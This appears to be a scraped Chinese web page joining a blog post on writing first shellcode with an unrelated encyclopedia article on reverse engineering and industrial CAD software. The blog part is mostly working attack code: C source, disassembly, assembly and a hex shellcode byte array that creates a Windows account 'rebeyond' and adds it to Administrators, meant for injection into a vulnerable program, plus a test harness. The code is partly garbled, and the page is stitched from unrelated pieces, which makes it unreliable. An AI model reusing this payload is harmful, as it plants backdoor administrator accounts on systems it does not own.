逆向工程可以得到源代码中的随机lookup函数逆向查找吗

逆向工程学习第二天--动手开发自己的第一个shellcode
& 逆向工程学习第二天--动手开发自己的第一个shellcode&&&
分享到各大社区尊重他人劳动,你我共同努力。
一个简单的c语言添加windows管理员账号的小程序,之前在的时候经常用到,现在拿它来做自己的第一个shellcode。
#pragma comment(lib, "netapi32.lib")
#ilude "windows.h"
#include &Lm.h&
int main(int argc, char* argv[])
&&&&&&&& _API_STATUS ret = 0;
&&& DWORD dwErr = 0;
&&& USER_INFO_1 oUserI
&&& ZeroMemory(&oUserInfo, sizeof(oUserInfo));
&&& oUserInfo.usri1_name = L"rebeyond";
&&& oUserInfo.usri1_priv = USER_PRIV_USER;
&&& oUserInfo.usri1_flags = UF_NORMAL_ACCOUNT;
&&& ret = NetUserAdd(NULL, 1, (LPBYTE)(&oUserInfo), &dwErr);
&&& //Add that accout into the administrators group
&&& _LOCALGROUP_MEMBERS_INFO_3 oU
&&& oUser.lgrmi3_domainandname = oUserInfo.usri1_
&&& ret = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)(&oUser), 1);
&&&&&&&& return 0;
OD反汇编代码:
& /$& 83EC 28&&&&&& sub esp,0x28 //为main函数内的局部变量分配空间, dwErr ,oUserInfo和oUser,共40个字节。
& |.& 57&&&&&&&&&&& push edi& //备份调用前的edi内容。
& |.& B9 && mov ecx,0x8 //对oUserInfo结构体进行初始化,共32个字节,以DWORD为单位进行8次循环,此处设置循环次数。
& |.& 33C0&&&&&&&&& xor eax,eax& //设置填充内容,为0x00。
0040100B& |.& 8D7C24 0C&&&& lea edi,dword ptr ss:[esp+0xC]& //设置edi为oUserInfo的初始地址。
0040100F& |.& F3:AB&&&&&&&& rep stos dword ptr es:[edi] //循环拷贝eax里的值到edi所指的地址 。
& |.& 8D4424 04&&&& lea eax,dword ptr ss:[esp+0x4]& //设置eax为dwErr的地址。
& |.& 8D4C24 0C&&&& lea ecx,dword ptr ss:[esp+0xC]& //设置ecx为oUserInfo的地址。
& |.& 50&&&&&&&&&&& push eax //准备入栈参数&dwErr。
0040101A& |.& 51&&&&&&&&&&& push ecx& //准备入栈参数&oUserInfo。
0040101B& |.& 6A 01&&&&&&&& push 0x1& //准备入栈参数1。
0040101D& |.& 6A 00&&&&&&&& push 0x0& //准备入栈参数0。
0040101F& |.& C&mov dword ptr ss:[esp+0x14],0x0 //把dwErr赋值为0.
& |.& C5&mov dword ptr ss:[esp+0x1C],addsc.004050&; //设置 oUserInfo 的第一个元素为字符串"rebeyond"的地址
0040102F& |.& C&mov dword ptr ss:[esp+0x28],0x1 //设置oUserInfo 的一些必要元素:usri1_
& |.& C&mov dword ptr ss:[esp+0x34],0x200& //设置oUserInfo 的一些必要元素:usri1_
0040103F& |.& E8 && call &jmp.&API32.NetUserAdd& //调用NetUserAdd
& |.& 8B5424 0C&&&& mov edx,dword ptr ss:[esp+0xC]& //把oUserInfo首地址赋值给edx。
& |.& 8D4424 08&&&& lea eax,dword ptr ss:[esp+0x8] //把oUser结构体地址赋给eax。
0040104C& |.& 6A 01&&&&&&&& push 0x1 //准备调用参数1。
0040104E& |.& 50&&&&&&&&&&& push eax& //准备调用参数&oUser。
0040104F& |.& 6A 03&&&&&&&& push 0x3& //准备调用参数3。
& |.& 68 && push addsc.& //准备调用参数"Administrators"。
& |.& 6A 00&&&&&&&& push 0x0 //准备调用参数NULL,即为0。
& |.& C&&&& mov dword ptr ss:[esp+0x1C],edx&& //把oUserInfo结构体的第一个DWORD(为“rebeyond”字符串的地址)赋值给oUser结构体唯一的一个元素。
0040105C& |.& E8 0F000000&& call &jmp.&NETAPI32.NetLocalGroupAddMemb&& //调用NetLocalGroupAddMembers。
& |.& 33C0&&&&&&&&& xor eax,eax& //把eax清零,准备返回值。
& |.& 5F&&&&&&&&&&& pop edi&& //把之前备份的edi恢复。
& |.& 83C4 28&&&&&& add esp,0x28& //恢复栈帧。
& \.& C3&&&&&&&&&&& retn& //返回操作系统代码。
相关结构体:
typedef struct _USER_INFO_1 {
&&& LPWSTR&& usri1_
&&& LPWSTR&& usri1_
&&& DWORD&&& usri1_password_
&&& DWORD&&& usri1_
&&& LPWSTR&& usri1_home_
&&& LPWSTR&& usri1_
&&& DWORD&&& usri1_
&&& LPWSTR&& usri1_script_
}USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
USER_INFO_1结构体有八个DWORD元素,共32个字节。
typedef struct _LOCALGROUP_MEMBERS_INFO_3 {
&&&& LPWSTR&&&&&& lgrmi3_
} LOCALGROUP_MEMBERS_INFO_3, *PLOCALGROUP_MEMBERS_INFO_3,
& *LPLOCALGROUP_MEMBERS_INFO_3;
LOCALGROUP_MEMBERS_INFO_3结构体只有一个元素,占4个字节。
这段代码具有添加管理员用户的功能,但是我想把它直接复制到漏洞程序作为shellcode是行不通的,因为程序是包括代码和数据的,我只是复制了代码,并没有复制存在于堆栈中的数据,比如shellcode中运行上图红色标记的代码,就会发生错误,因为字符串在漏洞程序中根本不存在。所以,如果想要作为shellcode来使用的话,所有用到的数据必须全部由代码来负载。下面开始打造可以独立运行的shellcode。
反观这段代码,其实就是2个API的调用,我们只要push参数来完成这两个函数调用就可以了。
C函数调用: ret = NetUserAdd(NULL, 1, (LPBYTE)(&oUserInfo), &dwErr);
      NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)(&oUser), 1);
Shellcode& asm代码:
&&&&&&&&&&&&&&&&&& push ebp&& //备份ebp
&&&&&&&&&&&&&&&&&& mov ebp,esp& //设置新的ebp
&&&&&&&&&&&&&&&&&& sub esp,0x28& //抬高栈顶
&&&&&&&&&&&&&&&&&& mov ecx,0x10&& //为栈初始化准备循环次数
&&&&&&&&&&&&&&&&&& xor eax,eax&&& //为栈初始化准备填充内容
&&&&&&&&&&&&&&&&&& lea edi,dword ptr ss:[esp-4]& //从栈顶开始初始化
&&&&&&&&&&&&&&&&&& rep stos dword ptr es:[edi]&& //全部填充为00
&&&&&&&&&&&&&&&&&& mov [ebp-8],0& //设置局部变量,准备函数第四个参数dwErr。
&&&&&&&&&&&&&&&&&& push 0x //准备函数第三个参数,把用户名字符串入栈,为oUserInfo准备数据
&&&&&&&&&&&&&&&&&& push 0x0064006E //同上
&&&&&&&&&&&&&&&&&& push 0x006F0079& //同上
&&&&&&&&&&&&&&&&&& push 0x& //同上
&&&&&&&&&&&&&&&&&& push 0x& //同上,为字符串rebeyond的Unicode形式,必须Unicode。
&&&&&&&&&&&&&&&&&& lea edx,[esp]& //取得用户名字符串的地址,放入edi。
&&&&&&&&&&&&&&&&&& mov [esp+0x14],edx& //把oUserInfo结构的首个元素赋值为用户名首地址
&&&&&&&&&&&&&&&&&& mov [esp+0x20],1& //设置oUserInfo第四个必须元素usri1_priv为1.
&&&&&&&&&&&&&&&&&& mov [esp+0x2C], 0x0200& //设置oUserInfo第七个必须元素usri1_flags为0x200
&&&&&&&&&&&&&&&&&& lea eax,[ebp-0x8]& //取dwErr的地址。
&&&&&&&&&&&&&&&&&& push eax& //参数入栈,&dwErr
&&&&&&&&&&&&&&&&&& lea edi,[esp+0x18]& //取oUserInfo的地址,
&&&&&&&&&&&&&&&&&& push edi& //参数入栈,&oUserInfo
&&&&&&&&&&&&&&&&&& push 1& //参数入栈。
&&&&&&&&&&&&&&&&&& push 0& //参数入栈
&&&&&&&&&&&&&&&&&& mov eax,0x5fe0457c& //把NetUserAdd函数地址赋值给eax
&&&&&&&&&&&&&&&&&& call eax& //调用NetUserAdd
&&&&&&&&&&&&&&&&&& push 0x& //把字符串Administrtors入栈。
&&&&&&&&&&&&&&&&&& push 0x
&&&&&&&&&&&&&&&&&& push 0x006f0074
&&&&&&&&&&&&&&&&&& push 0x
&&&&&&&&&&&&&&&&&& push 0x
&&&&&&&&&&&&&&&&&& push 0x0069006e
&&&&&&&&&&&&&&&&&& push 0x0069006d
&&&&&&&&&&&&&&&&&& push 0x
&&&&&&&&&&&&&&&&&& lea esi,[esp]& //取得administrators字符串地址。
&&&&&&&&&&&&&&&&&& push 1& //准备参数。
&&&&&&&&&&&&&&&&&& push edi
&&&&&&&&&&&&&&&&&& push 3
&&&&&&&&&&&&&&&&&& push esi
&&&&&&&&&&&&&&&&&& push 0
&&&&&&&&&&&&&&&&&& mov ebx,0x5fe04534& //把NetLocalGroupAddMembers函数地址赋值给eax
&&&&&&&&&&&&&&&&&& call ebx& //调用NetLocalGroupAddMembers
&&&&&&&&&&&&&&&&&& mov esp,ebp& //恢复现场
&&&&&&&&&&&&&&&&&& pop ebp& //恢复现场
&&&&&&&&&&&&&&&&&& ret& //返回
0x55,0x8B,0xEC,0x83,0xEC,0x28,0xB9,0x10,0x00,0x00,0x00,0x33,0xC0,0x36,0x8D,0x7C,0x24,0xFC,0xF3,0xAB,0xC6,0x45,0xF8,0x00,0x6A,0x00,0x68,0x6E,0x00,0x64,0x00,0x68,0x79,0x00,0x6F,0x00,0x68,0x62,0x00,0x65,0x00,0x68,0x72,0x00,0x65,0x00,0x8D,0x14,0x24,0x89,0x54,0x24,0x14,0xC6,0x44,0x24,0x20,0x01,0xC6,0x44,0x24,0x2C,0x00,0x8D,0x45,0xF8,0x50,0x8D,0x7C,0x24,0x18,0x57,0x6A,0x01,0x6A,0x00,0xB8,0x7C,0x45,0xE0,0x5F,0xFF,0xD0,0x6A,0x00,0x68,0x72,0x00,0x73,0x00,0x68,0x74,0x00,0x6F,0x00,0x68,0x72,0x00,0x61,0x00,0x68,0x73,0x00,0x74,0x00,0x68,0x6E,0x00,0x69,0x00,0x68,0x6D,0x00,0x69,0x00,0x68,0x41,0x00,0x64,0x00,0x8D,0x34,0x24,0x6A,0x01,0x57,0x6A,0x03,0x56,0x6A,0x00,0xBB,0x34,0x45,0xE0,0x5F,0xFF,0xD3,0x8B,0xE5,0x5D,0xC3
Shellcode+C测试:
#pragma comment(lib, "netapi32.lib")
#include "stdio.h"
#ilude "windows.h"
#ilude &Lm.h&
int main()
HINSTANCE hInstLibrary = LoadLibrary("netapi32.dll");
if (hInstLibrary == NULL)
printf("Load Dll Error");
unsigned char shellcode[]={0x55,0x8B,0xEC,0x83,0xEC,0x28,0xB9,0x10,0x00,0x00,0x00,0x33,0xC0,0x36,0x8D,0x7C,0x24,0xFC,0xF3,0xAB,0xC6,0x45,0xF8,0x00,0x6A,0x00,0x68,0x6E,0x00,0x64,0x00,0x68,0x79,0x00,0x6F,0x00,0x68,0x62,0x00,0x65,0x00,0x68,0x72,0x00,0x65,0x00,0x8D,0x14,0x24,0x89,0x54,0x24,0x14,0xC6,0x44,0x24,0x20,0x01,0xC6,0x44,0x24,0x2C,0x00,0x8D,0x45,0xF8,0x50,0x8D,0x7C,0x24,0x18,0x57,0x6A,0x01,0x6A,0x00,0xB8,0x7C,0x45,0xE0,0x5F,0xFF,0xD0,0x6A,0x00,0x68,0x72,0x00,0x73,0x00,0x68,0x74,0x00,0x6F,0x00,0x68,0x72,0x00,0x61,0x00,0x68,0x73,0x00,0x74,0x00,0x68,0x6E,0x00,0x69,0x00,0x68,0x6D,0x00,0x69,0x00,0x68,0x41,0x00,0x64,0x00,0x8D,0x34,0x24,0x6A,0x01,0x57,0x6A,0x03,0x56,0x6A,0x00,0xBB,0x34,0x45,0xE0,0x5F,0xFF,0xD3,0x8B, 0xE5,0x5D,0xC3};
lea eax,shellcode
OH YEAH!成功添加管理员用户:
中间遇到一个问题,NetLocalGroupAddMembers的调用老是不成功,出现异常,原来以为是调用参数的堆栈没有组织好,耽误了一个多小时,后来发现是问题在这,就是这段代码(上文中标红的那两行):
&&&&&&&&&&&&&&&&&& mov ebx,0x5fe04534& //把NetLocalGroupAddMembers函数地址赋值给eax
&&&&&&&&&&&&&&&&&& call ebx& //调用NetLocalGroupAddMembers
就是把NetLocalGroupAddMembers函数的地址赋值给ebx,然后调用ebx。
但是我用eax就是不成功,代码明明是mov eax,0x5fe04534,但是赋值语句执行之后eax的值却偏偏是0x5fe0cc34,中间的45换成了cc,到底是何解呢?望高手赐教!!!
另外,这个shellcode下一步需要完善几个地方:
函数地址要动态获取。
字节实在是太多,需要大瘦身。
顺便发张NetLocalGroupAddMembers的堆栈截图,留个纪念,省的以后再回过头来看的时候费劲。
如果您喜欢本博客,欢迎点击图片定订阅到邮箱
正文部分到此结束
你肿么看?
这篇文章还没有收到评论,赶紧来抢沙发吧~逆向工程_百度百科
逆向工程(又称逆向技术),是一种产品设计技术再现过程,即对一项目标产品进行逆向分析及研究,从而演绎并得出该产品的处理流程、组织结构、功能特性及技术规格等设计要素,以制作出功能相近,但又不完全一样的产品。逆向工程源于商业及军事领域中的硬件分析。其主要目的是在不能轻易获得必要的生产信息的情况下,直接从成品分析,推导出产品的设计原理。逆向工程可能会被误认为是对知识产权的严重侵害,但是在实际应用上,反而可能会保护知识产权所有者。例如在集成电路领域,如果怀疑某公司侵犯知识产权,可以用逆向工程技术来寻找证据。
逆向工程产生动机
需要逆向工程的原因如下:
●接口设计。由于互操作性,逆向工程被用来找出系统之间的协作协议。
●军事或商业机密。窃取敌人或竞争对手的最新研究或产品原型。
●改善文档。当原有的文档有不充分处,又当系统被更新而原设计人员不在时,逆向工程被用来获取所需数据,以补充说明或了解系统的最新状态。
●软件升级或更新。出于功能、合规、安全等需求更改,逆向工程被用来了解现有或遗留软件系统,以评估更新或移植系统所需的工作。
●制造没有许可/未授权的副本。
●学术/学习目的。
●去除复制保护和伪装的登录权限。
●文件丢失:采取逆向工程的情况往往是在某一个特殊设备的文件已经丢失了(或者根本就没有),同时又找不到工程的负责人。完整的系统时常需要基于陈旧的系统上进行再设计,这就意味着想要集成原有的功能进行项目的唯一方法,便是采用逆向工程的方法,分析已有的碎片进行再设计。
●产品分析:用于调查产品的运作方式,部件构成,估计预算,识别潜在的侵权行为。
逆向工程作用
逆向工程被广泛地应用到新产品开发和产品改型设计、产品仿制、质量分析检测等领域,它的作用是:
1、缩短产品的设计、开发周期,加快产品的更新换代速度;
2、降低企业开发新产品的成本与风险;
3、加快产品的造型和系列化的设计;
4、适合单件、小批量的零件制造,特别是模具的制造,可分为直接制模与间接制模法。直接制模法:基于RP技术的快速直接制模法是将模具CAD的结果由RP系统直接制造成型。该法既不需用RP系统制作样件,也不依赖传统的模具制造工艺,对金属模具制造而言尤为快捷,是一种极具开发前景的制模方法;间接制模法:间接制模法是利用RP技术制造产品零件原型,以原型作为母模、模芯或制模工具(研磨模),再与传统的制模工艺相结合,制造出所需模具。
逆向工程机械设备
随着的流行,逆向工程变成了一种能根据现有的物理部件通过CAD、CAM、CAE或其他软件构筑3D虚拟模型的方法。逆向工程的过程采用了通过丈量实际物体的尺寸并将其制作成3D模型的方法,真实的对象可以通过如CMMs,激光扫描仪,结构光源转换仪或者X射线断层成像这些3D扫描技术进行尺寸测量。这些测量数据通常被认作是点集,缺乏拓扑信息并且同时通常会被制作成更有用格式,例如多边形网格,NURBS曲线或者CAD模型。由于顶点云本身并不像3D软件里的模型那样直观,所以如同3-matic、、、或者,这些软件都提供了将顶点云变成能可视图像或者被其他应用软件,如3D CAD、、识别的格式的功能。
逆向工程同时会被需要将真实的几何体应用在虚拟的数字开发环境中的商业活动中应用,比如将自己产品或者竞争者的三维数据数字化。通过这种手段可以分析出产品的运作方式,部件构成,估计预算和识别潜在的侵权行为等。
价值工程也是商业中应用的类似手段。不过价值工程的目的是通过反构造和分析产品来找到节省开销的办法。
逆向工程软件工程
逆向工程(又名反向工程,Reverse Engineering-RE)是对产品设计过程的一种描述。在2007年初,我国相关的法律为逆向工程正名,承认了逆向技术用于学习研究的合法性。
在工程技术人员的一般概念中,产品设计过程是一个从设计到产品的过程,即设计人员首先在大脑中构思产品的外形、性能和大致的技术参数等,然后在阶段完成各类数据模型,最终将这个模型转入到研发流程中,完成产品的整个设计研发周期。这样的产品设计过程我们称为“正向设计”过程。逆向工程产品设计可以认为是一个从产品到设计的过程。简单地说,逆向工程产品设计就是根据已经存在的产品,反向推出产品设计数据(包括各类设计图或数据模型)的过程。从这个意义上说,逆向工程在工业设计中的应用已经很久了。比如早期的船舶工业中常用的船体放样设计就是逆向工程的很好实例。
随着计算机技术在各个领域的广泛应用,特别是软件开发技术的迅猛发展,基于某个软件,以阅读源码的方式去推断其数据结构、和程序设计信息成为软件逆向工程技术关注的主要对象。软件逆向技术的目的是用来研究和学习先进的技术,特别是当手里没有合适的文档资料,而你又很需要实现某个软件的功能的时候。也正因为这样,很多软件为了垄断技术,在软件安装之前,要求用户同意不去逆向研究。
逆向工程的实施过程是多领域、多学科的协同过程。
逆向工程方法实现
软件逆向工程有多种实现方法,主要有三:
1.分析通过信息交换所得的观察。
最常用于协议逆向工程,涉及使用总线分析器和数据包嗅探器。在接入计算机总线或网络的连接,并成功截取通信数据后,可以对总线或网络行为进行分析,以制造出拥有相同行为的通信实现。此法特别适用于设备驱动程序的逆向工程。有时,由硬件制造商特意所做的工具,如端口或各种调试工具,也有助于的逆向工程。对于微软的Windows系统,受欢迎的底层调试器有。
2.反汇编,即使用反汇编器,把程序的原始机器码,翻译成较便于阅读理解的汇编代码。这适用于任何的计算机程序,对不熟悉机器码的人特别有用。流行的相关工具有和。
3.反编译,即使用反编译器,尝试从程序的机器码或字节码,重现高级语言形式的源代码。
逆向工程相关操作软件
逆向工程Imageware
由美国 EDS 公司出品,是最著名的逆
向工程软件,正被广泛应用于汽车、航空、航天、消费家电、模具、计算机零部件等设计与制造领域。该软件拥有广大的用户群,国外有 BMW、Boeing、GM、Chrysler、Ford、raytheon、Toyota 等著名国际大公司,国内则有上海大众、上海交大、上海 、成都飞机制造公司等大企业。
以前该软件主要被应用于航空航天和汽车工业,因为这两个领域对空气动力学性能要求很高,在产品开发的开始阶段就要认真考虑空气动力性。常规的设计流程首先根据工业造型需要设计出结构,制作出油泥模型之后将其送到风洞实验室去测量空气动力学性能,然后再根据实验结果对模型进行反复修改直到获得满意结果为止,如此所得到的最终油泥模型才是符合需要的模型。如何将油泥模型的外形精确地输入计算机成为电子模型,这就需要采用逆向工程软件。首先利用器测出模型表面点阵数据,然后利用逆向工程软件(例如:Imageware surfacer)进行处理即可获得 class 1 曲面。
随着科学技术的进步和消费水平的不断提高,其它许多行业也开始纷纷采用逆向工程软件进行产品设计。以微软公司生产的鼠标器为例,就其功能而言,只需要有三个按键就可以满足使用需要,但是,怎样才能让鼠标器的手感最好,而且经过长时间使用也不易产生疲劳感却是生产厂商需要认真考虑的问题。因此微软公司首先根据人体工程学制作了几个模型并交给使用者评估,然后根据评估意见对模型直接进行修改,直至修改到大家都满意为止,最后再将模型数据利用逆向工程软件 Imageware 生成 CAD 数据。当产品推向市场后,由于外观新颖、曲线流畅,再加上手感也很好,符合人体工程学原理,因而迅速获得用户的广泛认可,产品的市场占有率大幅度上升。
Imageware 逆向工程软件的主要产品有:
Surfacer——逆向工程工具和 class 1 曲面生成工具
Verdict——对测量数据和数据进行对比评估
Build it——提供实时测量能力,验证产品的制造性
RPM——生成快速成型数据
View——功能与 Verdict 相似,主要用于提供三维报告
Imageware 采用 NURBS技术,软件功能强大,易于应用。Imageware 对硬件要求不高,可运行于各种平台:UNIX 工作站、PC 机均可,操作系统可以是 UNIX、NT、Windows95 及其它平台。
Imageware 由于在逆向工程方面具有技术先进性,产品一经推出就占领了很大市场分额,软件收益正以 47% 的年速率快速增长。
Surfacer 是 Imageware 的主要产品,主要用来做逆向工程,它处理数据的流程遵循点——曲线——曲面原则,流程简单清晰,软件易于使用。其流程如下:
一、点过程
读入点阵数据。
Surfacer 可以接收几乎所有的三坐标测量数据,此外还可以接收其它格式,例如:STL、VDA 等。
将分离的点阵对齐在一起(如果需要)。
有时候由于零件形状复杂,一次扫描无法获得全部的数据,或是零件较大无法一次扫描完成,这就需要移动或旋转零件,这样会得到很多单独的点阵。Surfacer可以利用诸如圆柱面、球面、平面等特殊的点信息将点阵准确对齐。
对点阵进行判断,去除噪音点(即测量误差点)。
由于受到测量工具及测量方式的限制,有时会出现一些噪音点,Surfacer 有很多工具来对点阵进行判断并去掉噪音点,以保证结果的准确性。
通过可视化点阵观察和判断,规划如何创建曲面。
一个零件,是由很多单独的曲面构成,对于每一个曲面,可根据特性判断用用什么方式来构成。例如,如果曲面可以直接由点的网格生成,就可以考虑直接采用这一片点阵;如果曲面需要采用多段曲线蒙皮,就可以考虑截取点的分段。提前作出规划可以避免以后走弯路。
根据需要创建点的网格或点的分段。
Surfacer 能提供很多种生成点的网格和点的分段工具,这些工具使用起来灵活方便,还可以一次生成多个点的分段。
二、曲线创建过程
判断和决定生成哪种类型的曲线。
曲线可以是精确通过点阵的、也可以是很光顺的(捕捉点阵代表的曲线主要形状),或介于两者之间。
创建曲线。
根据需要创建曲线,可以改变控制点的数目来调整曲线。控制点增多则形状吻合度好,控制点减少则曲线较为光顺。
诊断和修改曲线。
可以通过曲线的曲率来判断曲线的光顺性,可以检查曲线与点阵的吻合性,还可以改变曲线与其它曲线的连续性(连接、相切、曲率连续)。Surfacer 提供很多工具来调整和修改曲线。
三、曲面创建过程
决定生成那种曲面。
同曲线一样,可以考虑生成更准确的曲面、更光顺的曲面(例如 class 1 曲面),或两者兼顾,可根据产品设计需要来决定。
创建曲面。
创建曲面的方法很多,可以用点阵直接生成曲面(Fit free form),可以用曲线通过蒙皮、扫掠、四个边界线等方法生成曲面,也可以结合点阵和曲线的信息来创建曲面。还可以通过其它例如圆角、过桥面等生成曲面。
诊断和修改曲面。
比较曲面与点阵的吻合程度,检查曲面的光顺性及与其它曲面的连续性,同时可以进行修改,例如可以让曲面与点阵对齐,可以调整曲面的控制点让曲面更光顺,或对曲面进行重构等处理。
英国 Triumph Motorcycles 有限公司的设计工程师 Chris Chatburn 说:“利用 Surfacer 我们可以在更短的时间内完成更多的设计循环次数,这样可以让我们减少 50% 的设计时间。”
最新发布的 Surfacer 10.6 软件将以下工作流程的高性能工具完整的集成到一起:
【弹性的曲面创建工具】:可以在一个弹性的设计环境里非常方便的直接从曲线、曲面、或测量数据创建曲面,支持贝茨尔(Bezier)和非均匀有理 B 样条(NURBS)曲面两种方法。用户可以选择适合的曲面方法,通过结合两种方法的优点来获益。
【动态的曲面修改工具】:允许用户在交互的方式下试探设计主题,立刻就可以看到是否美观和思路是否符合工程观念。设计、工程分析、制造的标准都通过精心的构造过程考虑进去,所以当每次修改曲面时不需要再重新校核标准。
【实时的曲面诊断工具】:可以提供诸如任意截面的连续性、曲面反射线情况、高亮度线、光谱图、曲率云图和园柱型光源照射下的反光图等多种方法,在设计的任何时候都可以查出曲面缺陷。
【有效的曲面连续性管理工具】:在复杂的曲面缝补等情况下,即使曲面进行了移动修改等操作,也能保证曲面同与之相连的曲面间的曲率连续,避免了乏味的手工再调整过程。
【强大的处理扫描数据能力】:根据 Rainbow 图法(相当于假设雨水从上面落下,由于形状差异导致雨水流速差异)、曲率大小变化云图法(对于一个完全光顺的 class 1 曲面,相当于曲率大小变化为零,对于两个不同曲面,此值会不同)将扫描数据分开,这样可以很快地捕捉产品的主要特征,并迅速建立各个相应曲面,避免了费事的分析和处理。
正是由于 Imageware 在计算机辅助曲面检查、曲面造型及快速样件等方面具有其它软件无可匹敌的强大功能,使它当之无愧的成为逆向工程领域的领导者。
逆向工程Geomagic Studio
由美国 Raindrop (雨滴)公司出品的逆向工程和三维检
测软件 Geomagic Studio 可轻易地从扫描所得的点云数据创建出完美的多边形模型和网格,并可自动转换为 NURBS 曲面。该软件也是除了 Imageware 以外应用最为广泛的逆向工程软件。
Geomagic Studio 主要包括 Qualify、Shape、Wrap、Decimate、Capture 五个模块。主要功能包括:
自动将点云数据转换为多边形(Polygons)
快速减少多边形数目(Decimate)
把多边形转换为 NURBS 曲面
曲面分析(公差分析等)
输出与 CAD/CAM/CAE 匹配的文件格式(IGS、STL、DXF等)
1.从CAD数模得到的产品模型
2.将CAD模型读入 Geomagic Studio
3.CAD 设计模型与从实际模型扫描所得的点云数据(不同坐标系)
4.扫描数据与CAD模型的自动对合
5.扫描数据与CAD模型的自动对齐
6.误差以彩色图形直观显示
7.用户可标出任意点误差
8. Qualify 的结果可以输出为 HTML 格式
逆向工程CopyCAD
CopyCAD 是由英国 DELCAM 公司出品的功
能强大的逆向工程系统软件,它能允许从已存在的零件或实体模型中产生三维CAD模型。该软件为来自数字化数据的 CAD 曲面的产生提供了复杂的工具。CopyCAD 能够接受来自坐标测量机床的数据,同时跟踪机床和激光扫描器。
CopyCAD 简单的用户界面允许用户在尽可能短的时间内进行生产,并且能够快速掌握其功能,即使对于初次使用者也能做到这点。使用 CopyCAD 的用户将能够快速编辑数字化数据,产生具有高质量的复杂曲面。该软件系统可以完全控制曲面边界的选取,然后根据设定的公差能够自动产生光滑的多块曲面,同时,CopyCAD 还能够确保在连接曲面之间的正切的连续性。
该软件的主要功能如下:
数字化点数据输入
DUCT 图形和三角模型文件
CNC 坐标测量机床
分隔的 ASCII 码和 NC 文件
激光扫描器、三维扫描器和 SCANTRON
Renishaw MOD 文件
能够进行相加、相减、删除、移动以及点的隐藏和标记等点编辑
能够为测量探针大小对模型的三维偏置进行补偿
能够进行模型的转换、缩放、旋转和镜像等模型转换
能够对平面、多边形或其它模型进行模型裁剪
在用户定义的公差和选项内的数字化模型的三角测量,包括:
① 原始的——法线设置
② 尖锐——尖锐特征强化
③ 特征匹配——来自点法线数据的特征
④ 关闭三角测量——为了快速绘图可以关闭模型
特征线的产生
边界——转换模型外边缘为特征线
间断——为找到简单的特征(如凸出和凹下)而探测数据里的尖锐边缘
能够转换数字化扫描线为特征线
输入的数据——能够从点文件中摘录多线条和样条曲线
通过在三角测量模型上跟踪直线产生多样化曲面
在连接的曲面之间,用已存在的曲面定义带有选项的正切连续性的边界
使用特征线指导和加快曲面定义
曲面错误检查
比较曲面与数字化点数据
报告最大限、中间值和标准值的错误背离
错误图形形象地显示变化
IGES、CADDS4X
STL ASCII 码和二进制
DUCT 图形、三角模型和曲面
分隔的 ASCII 码
逆向工程RapidForm
是韩国 INUS 公司出品的全球四
大逆向工程软件之一,RapidForm 提供了新一代运算模式,可实时将点云数据运算出无接缝的多边形曲面,使它成为 3D Scan 后处理之最佳化的接口。RapidForm 也将使您的工作效率提升,使 3D 扫描设备的运用范围扩大,改善扫描品质。
多点云数据管理介面
高级光学 3D 扫描仪会产生大量的数据(可达 100,000 ~ 200,000点),由于数据非常庞大,因此需要昂贵的电脑硬件才可以运算 RapidForm 提供记忆管理技术(使用更少的系统资源)可缩短您处理数据的时间。
多点云处理技术
可以迅速处理庞大的点云数据,不论是稀疏的点云还是跳点都可以轻易地转换成非常好的点云, RapidForm 提供过滤点云工具以及分析表面偏差的技术来消除 3D 扫描仪所产生的不良点云。
快速点云转换成多边形曲面的计算法
在所有逆向工程软件中,RapidForm 提供一个特别的计算技术,针对 3D 及 2D 处理是同类型计算,软件提供了一个最快最可靠的计算方法,可以将点云快速计算出多边形曲面。RapidForm 能处理无顺序排列的点数据以及有顺序排列的点数据。
彩色点云数据处理
RapidForm 支持彩色 3D 扫描仪,可以生成最佳化的多边形,并将颜色信息映像在多边形模型中。在曲面设计过程中,颜色信息将完整保存,也可以运用 RP 成型机制作出有颜色信息的模型。RapidForm 也提供上色功能,通过实时上色编辑工具,使用者可以直接对模型编辑自己喜欢的颜色。
点云合并功能
多个点扫描数据有可能经手动方式将特殊的点云加以合并,当然,RapidForm 也提供一技术,使用者可以方便地对点云数据进行各种各样的合并。
注:Roland 模具加工机随机所附的 PixForm 软件为 RapidForm 的 OEM 软件。
逆向工程硬件
逆向工程能在拥有现有物理部件之上,利用激光扫描仪、结构光源转换仪或X射线断层成像之类3D扫描仪技术进行尺寸测量,再通过CAD、CAM、CAE或其他软件构筑3D虚拟模型的方法。逆向工程经常被用于军事上,在二战和冷战中经常被用到。
逆向工程流行技术
比较流行的逆向工程技术便是与了。PCB抄板,又称为,电路板克隆、复制,PCB逆向设计或PCB反向研发,即在已经有电子产品实物和电路板实物的前提下,利用反向研发技术手段对电路板进行逆向解析,将原有产品的PCB文件、物料清单(BOM)文件、原理图文件等技术文件以及PCB丝印生产文件进行1:1的还原,然后再利用这些技术文件和生产文件进行PCB制板、元器件焊接、飞针测试、电路板调试,完成原电路板样板的完整复制。芯片解密,又称为,单片机解密,就是通过一定的设备和方法,直接得到加密单片机中的烧写文件,可以自己复制烧写芯片或反汇编后自己参考研究。单片机攻击者借助专用设备或者自制设备,利用单片机芯片设计上的漏洞或软件缺陷,通过多种技术手段,从芯片中提取关键有用信息,获取单片机内程序,这就叫芯片解密。
逆向工程研究发展
1980年始欧美国家许多学校及工业界开始注意逆向工程这块领域。1990年初期包括台湾在内,各国学术界团队大量投入逆向工程的研究并发表成果。 逆向工程的硬件最早是运用仿制加工设备,制作出来的成品品质粗糙。后来有接触式扫瞄设备,运用探针接触工件取得产品外型。再来进一步开发非接触式设备,运用照相或激光技术,计算光线反射回来的时间取得距离。
部分品牌包括Surfacer(Imageware)、ICEM、、Rapid Form等。逆向软件的演进约略可区分为三个阶段。十一年前在逆向工程上,只能运用CATIA等CAD/CAM高阶曲面系统。市场发展出两套主流产品技术日渐成熟,广为业界引用。发展出不同以往的逆向工程数学逻辑运算,速度快。
逆向工程在台湾的发展轨迹持续在进行,工研院曾写过一套逆向工程软件,学术界不少研究团队也将逆向工程领域作为研究主题,开发出具不同功能的系统软件,但是最后这些软件都没
逆向工程所需的技能
有真正落实到产业界应用。工研院的团队后来也结束逆向工程研究,转而开发其它主题。原有的研发成果后继无人,殊为可惜。
